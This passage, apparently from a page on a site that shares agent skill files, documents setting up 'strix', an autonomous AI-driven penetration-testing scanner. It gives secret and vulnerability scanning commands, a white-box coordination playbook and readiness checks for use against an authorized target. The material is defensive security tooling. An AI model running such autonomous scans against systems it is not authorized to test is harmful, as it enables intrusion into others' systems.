    gitleaks detect --source . --report-format json --report-path gitleaks.json
    trufflehog filesystem . --json > trufflehog.json
    trivy fs --scanners config,vuln,secret,license --format json --output trivy-fs.json .
    # cross-reference HIGH/CRITICAL hits -> prioritize dynamic validation
  4. White-box coordination playbook (from strix coordination/source_aware_whitebox.md):
    • Static findings = hypotheses until dynamically validated
    • One semgrep + one AST-grep (sg) + one secrets (gitleaks+trufflehog) + one trivy fs per repo
    • Child agents for source-heavy work load source_aware_sast skill

Quick verification that strix is ready on this machine

source ~/.zshenv && strix --version          # → strix 1.3.1
docker info >/dev/null 2>&1 && echo dock      # Docker daemon up
printenv strix_LLM                            # → openrouter/openai/gpt-5.4
docker manifest inspect ghcr.io/usestrix/strix-sandbox:1.1.0 >/dev/null && echo image-ok
strix --help >/dev/null && echo cli-ok
ls ~/Documents/strix-knowledge/strix-skills/  # 11 category dirs + README.md

All four passing = ready to drive a real scan with --max-budget-usd 1 against an authorized target.

Reference

  • autonomous-pentest-scanner skill: ~/.hermes/profiles/trade/skills/red-teaming/strix-pentest/
  • strix internal skills cache: ~/Documents/strix-knowledge/strix-skills/ (symlinked at strix-pentest/references/internal-skills/)
  • strix docs: https://docs.strix.ai

Download now (ZIP)

Does it work?

Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.

No reviews yet

People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.

  • It worked
  • Partly
  • It didn't
What did you use it for? e.g. Reviewing pull requests in a Rails app

Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.

Your trail

Files you open will collect here, so you can find them again.

Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.

Now do this for your own.

Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.